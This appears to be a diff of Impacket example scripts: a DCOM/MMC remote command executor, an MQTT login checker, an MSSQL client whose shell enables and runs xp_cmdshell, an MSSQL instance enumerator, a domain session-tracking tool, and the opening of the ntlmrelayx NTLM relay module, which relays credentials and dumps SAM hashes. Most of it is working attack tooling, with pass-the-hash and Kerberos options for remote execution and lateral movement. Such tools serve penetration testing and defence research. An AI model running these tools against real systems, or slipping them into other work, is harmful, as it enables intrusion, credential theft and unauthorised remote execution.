def execute_remote(self, data):
command = '/Q /c ' + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 4
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = self.__shell
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = self.__pwd
arg2 = VARIANT(None, False)
arg2['clSize'] = 5
arg2['vt'] = VARENUM.VT_BSTR
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
arg2['_varUnion']['bstrVal']['asData'] = command
arg3 = VARIANT(None, False)
arg3['clSize'] = 5
arg3['vt'] = VARENUM.VT_BSTR
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
arg3['_varUnion']['bstrVal']['asData'] = '7'
dispParams['rgvarg'].append(arg3)
dispParams['rgvarg'].append(arg2)
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print self.__outputBuffer
self.__outputBuffer = ''
class AuthFileSyntaxError(Exception):
'''raised by load_smbclient_auth_file if it encounters a syntax error
while loading the smbclient-style authentication file.'''
def __init__(self, path, lineno, reason):
self.path=path
self.lineno=lineno
self.reason=reason
def __str__(self):
return 'Syntax error in auth file %s line %d: %s' % (
self.path, self.lineno, self.reason )
def load_smbclient_auth_file(path):
'''Load credentials from an smbclient-style authentication file (used by
smbclient, mount.cifs and others). returns (domain, username, password)
or raises AuthFileSyntaxError or any I/O exceptions.'''
lineno=0
domain=None
username=None
password=None
for line in open(path):
lineno+=1
line = line.strip()
if line.startswith('#') or line=='':
continue
parts = line.split('=',1)
if len(parts) != 2:
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
(k,v) = (parts[0].strip(), parts[1].strip())
if k=='username':
username=v
elif k=='password':
password=v
elif k=='domain':
domain=v
else:
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
return (domain, username, password)
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows "
"Management Instrumentation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
'(default ADMIN$)')
parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
'(no SMB connection created)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
'launch a semi-interactive shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
"See smbclient man page's -A option.")
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if ' '.join(options.command) == ' ' and options.nooutput is True:
logging.error("-nooutput switch and interactive shell not supported")
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
try:
if options.A is not None:
(domain, username, password) = load_smbclient_auth_file(options.A)
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = MMCEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
options.share, options.nooutput, options.k, options.dc_ip)
executer.run(address)
except (Exception, KeyboardInterrupt), e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
sys.exit(0)

View File

@@ -0,0 +1,98 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# Simple MQTT example aimed at playing with different login options. Can be converted into a account/password
# brute forcer quite easily.
#
# Reference for:
# MQTT and Structure
#
#
import argparse
import logging
import re
import sys
from impacket import version
from impacket.examples import logger
from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection
try:
import OpenSSL
from OpenSSL import SSL, crypto
except:
logging.critical("pyOpenSSL is not installed, can't continue")
raise
class MQTT_LOGIN:
def __init__(self, username, password, target, options):
self._options = options
self._username = username
self._password = password
self._target = target
if self._username == '':
self._username = None
def run(self):
mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl)
if self._options.client_id is None:
clientId = ' '
else:
clientId = self._options.client_id
mqtt.connect(clientId, self._username, self._password)
logging.info(CONNECT_ACK_ERROR_MSGS[0])
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help=False,
description="MQTT login check")
parser.add_argument("--help", action="help", help='show this help message and exit')
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>')
parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)')
parser.add_argument('-ssl', action='store_true', help='turn SSL on')
parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
try:
options = parser.parse_args()
except Exception, e:
logging.error(str(e))
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
check_mqtt = MQTT_LOGIN(username, password, address, options)
try:
check_mqtt.run()
except Exception, e:
#import traceback
#traceback.print_exc()
logging.error(e)

View File

@@ -0,0 +1,174 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-TDS] & [MC-SQLR] example.
#
# Author:
# Alberto Solino (beto@coresecurity.com/@agsolino)
#
# Reference for:
# Structure
#
import argparse
import sys
import string
import os
import logging
from impacket.examples import logger
from impacket import version, tds
if __name__ == '__main__':
import cmd
class SQLSHELL(cmd.Cmd):
def __init__(self, SQL):
cmd.Cmd.__init__(self)
self.sql = SQL
self.prompt = 'SQL> '
self.intro = '[!] Press help for extra shell commands'
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
! {cmd} - executes a local shell cmd
"""
def do_shell(self, s):
os.system(s)
def do_xp_cmdshell(self, s):
try:
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
except:
pass
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
def do_enable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
"exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def do_disable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure "
"'show advanced options', 0 ;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def default(self, line):
try:
self.sql.sql_query(line)
self.sql.printReplies()
self.sql.printRows()
except:
pass
def emptyline(self):
pass
def do_exit(self, line):
return True
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)')
parser.add_argument('-db', action='store', help='MSSQL database instance (default None)')
parser.add_argument('-windows-auth', action='store_true', default = 'False', help='whether or not to use Windows '
'Authentication (default False)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
ms_sql = tds.MSSQL(address, string.atoi(options.port))
ms_sql.connect()
try:
if options.k is True:
res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,
kdcHost=options.dc_ip)
else:
res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
ms_sql.printReplies()
except Exception, e:
logging.error(str(e))
res = False
if res is True:
shell = SQLSHELL(ms_sql)
if options.file is None:
shell.cmdloop()
else:
for line in options.file.readlines():
print "SQL> %s" % line,
shell.onecmd(line)
ms_sql.disconnect()

View File

@@ -0,0 +1,52 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MC-SQLR] example. Retrieves the instances names from the target host
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# Structure
#
import argparse
import sys
import string
import logging
from impacket.examples import logger
from impacket import version, tds
if __name__ == '__main__':
print version.BANNER
# Init the example's logger theme
logger.init()
parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.")
parser.add_argument('host', action='store', help='target host')
parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
ms_sql = tds.MSSQL(options.host)
instances = ms_sql.getInstances(string.atoi(options.timeout))
if len(instances) == 0:
"No MSSQL Instances found"
else:
for i, instance in enumerate(instances):
logging.info("Instance %d" % i)
for key in instance.keys():
print key + ":" + instance[key]

View File

@@ -0,0 +1,505 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# beto (@agsolino)
#
# Description:
# The idea of this script is to get a list of the sessions
# opened at the remote hosts and keep track of them.
# Coincidentally @mubix did something similar a few years
# ago so credit goes to him (and the script's name ;)).
# Check it out at https://github.com/mubix/netview
# The main difference with our approach is we keep
# looping over the hosts found and keep track of who logged
# in/out from remote servers. Plus, we keep the connections
# with the target systems and just send a few DCE-RPC packets.
#
# One VERY IMPORTANT thing is:
#
# YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS
# NAMES. That's usually solved by setting your DNS to the
# domain DNS (and the right search domain).
#
# Some examples of usage are:
#
# netview.py -target 192.168.1.10 beto
#
# This will show the sessions on 192.168.1.10 and will authenticate as 'beto'
# (password will be prompted)
#
# netview.py FREEFLY.NET/beto
#
# This will download all machines from FREEFLY.NET, authenticated as 'beto'
# and will gather the session information for those machines that appear
# to be up. There is a background thread checking aliveness of the targets
# at all times.
#
# netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto
#
# This will download all machines from FREEFLY.NET, authenticating using
# Kerberos (that's why -dc-ip parameter is needed), and filter
# the output based on the list of users specified in /tmp/users file.
#
#
import sys
import argparse
import logging
import socket
from threading import Thread, Event
from Queue import Queue
from time import sleep
from impacket.examples import logger
from impacket import version
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, wkst, srvs, samr
from impacket.dcerpc.v5.ndr import NULL
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.nt_errors import STATUS_MORE_ENTRIES
machinesAliveQueue = Queue()
machinesDownQueue = Queue()
myIP = None
def checkMachines(machines, stopEvent, singlePass=False):
origLen = len(machines)
deadMachines = machines
done = False
while not done:
if stopEvent.is_set():
done = True
break
for machine in deadMachines:
s = socket.socket()
try:
s = socket.create_connection((machine, 445), 2)
global myIP
myIP = s.getsockname()[0]
s.close()
machinesAliveQueue.put(machine)
except Exception, e:
logging.debug('%s: not alive (%s)' % (machine, e))
pass
else:
logging.debug('%s: alive!' % machine)
deadMachines.remove(machine)
if stopEvent.is_set():
done = True
break
logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen))
if singlePass is True:
done = True
if not done:
sleep(10)
# Do we have some new deadMachines to add?
while machinesDownQueue.empty() is False:
deadMachines.append(machinesDownQueue.get())
class USERENUM:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = options.dc_ip
self.__options = options
self.__machinesList = list()
self.__targets = dict()
self.__filterUsers = None
self.__targetsThreadEvent = None
self.__targetsThread = None
self.__maxConnections = int(options.max_connections)
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def getDomainMachines(self):
if self.__kdcHost is not None:
domainController = self.__kdcHost
elif self.__domain is not '':
domainController = self.__domain
else:
raise Exception('A domain is needed!')
logging.info('Getting machine\'s list from %s' % domainController)
rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password,
self.__domain, self.__lmhash, self.__nthash, self.__aesKey,
doKerberos=self.__doKerberos, kdcHost = self.__kdcHost)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
try:
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
logging.info("Looking up users in domain %s" % domains[0]['Name'])
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
for user in resp['Buffer']['Buffer']:
self.__machinesList.append(user['Name'][:-1])
logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId']))
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
except Exception, e:
raise e
dce.disconnect()
def getTargets(self):
logging.info('Importing targets')
if self.__options.target is None and self.__options.targets is None:
# We need to download the list of machines from the domain
self.getDomainMachines()
elif self.__options.targets is not None:
for line in self.__options.targets.readlines():
self.__machinesList.append(line.strip(' \r\n'))
else:
# Just a single machine
self.__machinesList.append(self.__options.target)
logging.info("Got %d machines" % len(self.__machinesList))
def filterUsers(self):
if self.__options.user is not None:
self.__filterUsers = list()
self.__filterUsers.append(self.__options.user)
elif self.__options.users is not None:
# Grab users list from a file
self.__filterUsers = list()
for line in self.__options.users.readlines():
self.__filterUsers.append(line.strip(' \r\n'))
else:
self.__filterUsers = None
def run(self):
self.getTargets()
self.filterUsers()
#self.filterGroups()
# Up to here we should have figured out the scope of our work
self.__targetsThreadEvent = Event()
if self.__options.noloop is False:
# Start a separate thread checking the targets that are up
self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent))
self.__targetsThread.start()
else:
# Since it's gonna be a one shoot test, we need to wait till it finishes
checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True)
while True:
# Do we have more machines to add?
while machinesAliveQueue.empty() is False:
machine = machinesAliveQueue.get()
logging.debug('Adding %s to the up list' % machine)
self.__targets[machine] = {}
self.__targets[machine]['SRVS'] = None
self.__targets[machine]['WKST'] = None
self.__targets[machine]['Admin'] = True
self.__targets[machine]['Sessions'] = list()
self.__targets[machine]['LoggedIn'] = set()
for target in self.__targets.keys():
try:
self.getSessions(target)
self.getLoggedIn(target)
except (SessionError, DCERPCException), e:
# We will silently pass these ones, might be issues with Kerberos, or DCE
if str(e).find('LOGON_FAILURE') >=0:
# For some reason our credentials don't work there,
# taking it out from the list.
logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target)
del(self.__targets[target])
elif str(e).find('INVALID_PARAMETER') >=0:
del(self.__targets[target])
elif str(e).find('access_denied') >=0:
# Can't access the target RPC call, most probably a Unix host
# taking it out from the list
del(self.__targets[target])
else:
logging.info(str(e))
pass
except KeyboardInterrupt:
raise
except Exception, e:
#import traceback
#print traceback.print_exc()
if str(e).find('timed out') >=0:
# Most probably this site went down. taking it out
# ToDo: add it back to the list of machines to check in
# the separate thread - DONE
del(self.__targets[target])
machinesDownQueue.put(target)
else:
# These ones we will report
logging.error(e)
pass
if self.__options.noloop is True:
break
logging.debug('Sleeping for %s seconds' % self.__options.delay)
logging.debug('Currently monitoring %d active targets' % len(self.__targets))
sleep(int(self.__options.delay))
def getSessions(self, target):
if self.__targets[target]['SRVS'] is None:
stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target
rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding)
if hasattr(rpctransportSrvs, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransportSrvs.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
self.__maxConnections -= 1
else:
dce = self.__targets[target]['SRVS']
try:
resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10)
except Exception, e:
if str(e).find('Broken pipe') >= 0:
# The connection timed-out. Let's try to bring it back next round
self.__targets[target]['SRVS'] = None
self.__maxConnections += 1
return
else:
raise
if self.__maxConnections < 0:
# Can't keep this connection open. Closing it
dce.disconnect()
self.__maxConnections = 0
else:
self.__targets[target]['SRVS'] = dce
# Let's see who createad a connection since last check
tmpSession = list()
printCRLF = False
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
userName = session['sesi10_username'][:-1]
sourceIP = session['sesi10_cname'][:-1][2:]
key = '%s\x01%s' % (userName, sourceIP)
myEntry = '%s\x01%s' % (self.__username, myIP)
tmpSession.append(key)
if not(key in self.__targets[target]['Sessions']):
# Skipping myself
if key != myEntry:
self.__targets[target]['Sessions'].append(key)
# Are we filtering users?
if self.__filterUsers is not None:
if userName in self.__filterUsers:
print "%s: user %s logged from host %s - active: %d, idle: %d" % (
target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])
printCRLF = True
else:
print "%s: user %s logged from host %s - active: %d, idle: %d" % (
target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])
printCRLF = True
# Let's see who deleted a connection since last check
for nItem, session in enumerate(self.__targets[target]['Sessions']):
userName, sourceIP = session.split('\x01')
if session not in tmpSession:
del(self.__targets[target]['Sessions'][nItem])
# Are we filtering users?
if self.__filterUsers is not None:
if userName in self.__filterUsers:
print "%s: user %s logged off from host %s" % (target, userName, sourceIP)
printCRLF=True
else:
print "%s: user %s logged off from host %s" % (target, userName, sourceIP)
printCRLF=True
if printCRLF is True:
print
def getLoggedIn(self, target):
if self.__targets[target]['Admin'] is False:
return
if self.__targets[target]['WKST'] is None:
stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target
rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding)
if hasattr(rpctransportWkst, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransportWkst.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
self.__maxConnections -= 1
else:
dce = self.__targets[target]['WKST']
try:
resp = wkst.hNetrWkstaUserEnum(dce,1)
except Exception, e:
if str(e).find('Broken pipe') >= 0:
# The connection timed-out. Let's try to bring it back next round
self.__targets[target]['WKST'] = None
self.__maxConnections += 1
return
elif str(e).upper().find('ACCESS_DENIED'):
# We're not admin, bye
dce.disconnect()
self.__maxConnections += 1
self.__targets[target]['Admin'] = False
return
else:
raise
if self.__maxConnections < 0:
# Can't keep this connection open. Closing it
dce.disconnect()
self.__maxConnections = 0
else:
self.__targets[target]['WKST'] = dce
# Let's see who looged in locally since last check
tmpLoggedUsers = set()
printCRLF = False
for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']:
userName = session['wkui1_username'][:-1]
logonDomain = session['wkui1_logon_domain'][:-1]
key = '%s\x01%s' % (userName, logonDomain)
tmpLoggedUsers.add(key)
if not(key in self.__targets[target]['LoggedIn']):
self.__targets[target]['LoggedIn'].add(key)
# Are we filtering users?
if self.__filterUsers is not None:
if userName in self.__filterUsers:
print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)
printCRLF=True
else:
print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)
printCRLF=True
# Let's see who logged out since last check
for session in self.__targets[target]['LoggedIn'].copy():
userName, logonDomain = session.split('\x01')
if session not in tmpLoggedUsers:
self.__targets[target]['LoggedIn'].remove(session)
# Are we filtering users?
if self.__filterUsers is not None:
if userName in self.__filterUsers:
print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)
printCRLF=True
else:
print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)
printCRLF=True
if printCRLF is True:
print
def stop(self):
if self.__targetsThreadEvent is not None:
self.__targetsThreadEvent.set()
# Process command-line arguments.
if __name__ == '__main__':
print version.BANNER
# Init the example's logger theme
logger.init()
parser = argparse.ArgumentParser()
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
parser.add_argument('-user', action='store', help='Filter output by this user')
parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for')
#parser.add_argument('-group', action='store', help='Filter output by members of this group')
#parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file')
parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will '
'run in domain mode.')
parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info '
'from (one per line). If not specified script will run in domain mode.')
parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe')
parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe '
'(default 10 seconds)')
parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep '
'opened (default 1000)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups(
'')
try:
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options)
executer.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(e)
executer.stop()
except KeyboardInterrupt:
logging.info('Quitting.. please wait')
executer.stop()
sys.exit(0)

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,484 @@
#!/usr/bin/env python
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Generic NTLM Relay Module
#
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# This module performs the SMB Relay attacks originally discovered
# by cDc. It receives a list of targets and for every connection received it
# will choose the next target and try to relay the credentials. Also, if
# specified, it will first to try authenticate against the client connecting
# to us.
#
# It is implemented by invoking a SMB and HTTP Server, hooking to a few
# functions and then using the smbclient portion. It is supposed to be
# working on any LM Compatibility level. The only way to stop this attack
# is to enforce on the server SPN checks and or signing.
#
# If the target system is enforcing signing and a machine account was provided,
# the module will try to gather the SMB session key through
# NETLOGON (CVE-2015-0005)
#
# If the authentication against the targets succeed, the client authentication
# success as well and a valid connection is set against the local smbserver.
# It's up to the user to set up the local smbserver functionality. One option
# is to set up shares with whatever files you want to the victim thinks it's
# connected to a valid SMB server. All that is done through the smb.conf file or
# programmatically.
#
import argparse
import sys
import thread
import logging
import random
import string
import re
import os
from threading import Thread
from impacket import version, smb3, smb
from impacket.examples import logger
from impacket.examples import serviceinstall
from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
from impacket.smbconnection import SMBConnection
from smbclient import MiniImpacketShell
class SMBAttack(Thread):
def __init__(self, config, SMBClient, username):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.tcpshell is not None:
logging.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
#Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
